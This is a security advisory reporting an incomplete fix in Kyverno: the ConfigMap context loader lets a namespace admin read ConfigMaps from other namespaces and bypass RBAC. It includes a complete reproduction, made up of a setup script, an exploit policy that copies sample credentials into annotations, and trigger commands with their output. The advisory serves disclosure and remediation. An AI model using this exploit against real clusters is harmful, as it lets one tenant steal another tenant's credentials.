Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)CVE-2026-41068

### Summary CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. ### Details **Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field. **Code path comparison:** | | CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |--|---|---| | **Location** | `apiCall.URLPath` field | `configMap.namespace` field | | **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation | | **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched | **Exploit mechanism:** 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses `context.configMap.namespace: "victim-ns"` to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations **Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace. ### PoC Full reproduction (5 minutes on `kind`): ```bash #!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected) ``` **Exploit policy:** ```yaml # Apply as namespace admin apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}" ``` **Trigger and exfiltrate:** ```bash # Trigger policy (as namespace admin) kubectl apply -f - <<EOF apiVersion: v1 kind: ConfigMap metadata: name: trigger-cm namespace: attacker-ns data: innocent: "data" EOF # Read exfiltrated secrets kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \ --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool # Output: # { # "exfil-api-key": "AKIAIOSFODNN7EXAMPLE", # "exfil-db-password": "s3cr3t-p4ssw0rd" # } ``` **Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access. ### Impact **Severity: HIGH (CVSS 7.7)** **Who is affected:** - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno **Attack prerequisites:** - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required **What can be exfiltrated:** - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps **Why this matters:** - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees **Suggested fix:** Apply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`: 1. Pass `policyNamespace` to `NewConfigMapLoader()` 2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace` 3. Return error if validation fails Also audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern. **Tested versions:** - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)

Quoted source text, attributed separately from HOL analysis.